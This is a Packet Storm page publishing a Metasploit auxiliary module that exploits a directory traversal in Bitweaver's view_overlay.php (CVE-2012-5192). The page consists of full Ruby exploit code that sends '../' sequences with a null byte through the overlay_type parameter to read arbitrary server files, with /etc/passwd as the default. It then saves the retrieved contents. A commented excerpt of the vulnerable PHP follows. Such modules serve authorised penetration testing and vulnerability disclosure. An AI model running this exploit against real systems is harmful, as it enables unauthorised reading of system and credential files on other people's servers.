what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bitweaver Overlay_type Directory Traversal

Bitweaver Overlay_type Directory Traversal
Posted Sep 1, 2024
Authored by sinn3r, Jonathan Claudius, David Aaron | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability found in Bitweaver. When handling the overlay_type parameter, view_overlay.php fails to do any path checking/filtering, which can be abused to read any file outside the virtual directory.

tags | exploit, php
advisories | CVE-2012-5192
SHA-256 | 75260c8739219589832630db597ad076c6fa9dee26583aeb19f2537f54e959f0

Bitweaver Overlay_type Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Bitweaver overlay_type Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Bitweaver.
When handling the 'overlay_type' parameter, view_overlay.php fails to do any
path checking/filtering, which can be abused to read any file outside the
virtual directory.
},
'References' =>
[
['CVE', '2012-5192'],
['OSVDB', '86599'],
['EDB', '22216'],
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt']
],
'Author' =>
[
'David Aaron', # Trustwave SpiderLabs
'Jonathan Claudius', # Trustwave SpiderLabs
'sinn3r' # Metasploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-10-23'
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
])
end


def run_host(ip)
base = target_uri.path

peer = "#{ip}:#{rport}"
fname = datastore['FILE']
fname = fname[1, fname.length] if fname =~ /^\//

print_status("Reading '#{datastore['FILE']}'")
traverse = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'encode_params' => false,
'uri' => normalize_uri(base, "gmap/view_overlay.php"),
'vars_get' => {
'overlay_type' => "#{traverse}#{fname}%00"
}
})

if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
print_error("Cannot read '#{fname}'. File does not exist.")

elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
print_error("Cannot read '#{fname}'. Permission denied.")

elsif res and res.code == 200 and res.body =~ /Failed opening required/
print_error("Cannot read '#{fname}'. Possibly not vulnerable.")

elsif res and res.code == 200
data = res.body
data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')

p = store_loot(
'bitweaver.overlay_type',
'application/octet-stream',
ip,
data,
fname
)

vprint_line(data)
print_good("#{datastore['FILE']} stored as '#{p}'")

else
print_error("Request failed due to some unknown reason")
end
end
end

=begin
if( !empty( $_REQUEST['overlay_type'] ) ){
$type = $_REQUEST['overlay_type'];
}

// Now check permissions to access this page
$gBitSystem->verifyPermission('p_gmap_overlay_view' );

// Get the overlay for specified overylay_id
require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' );
=end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close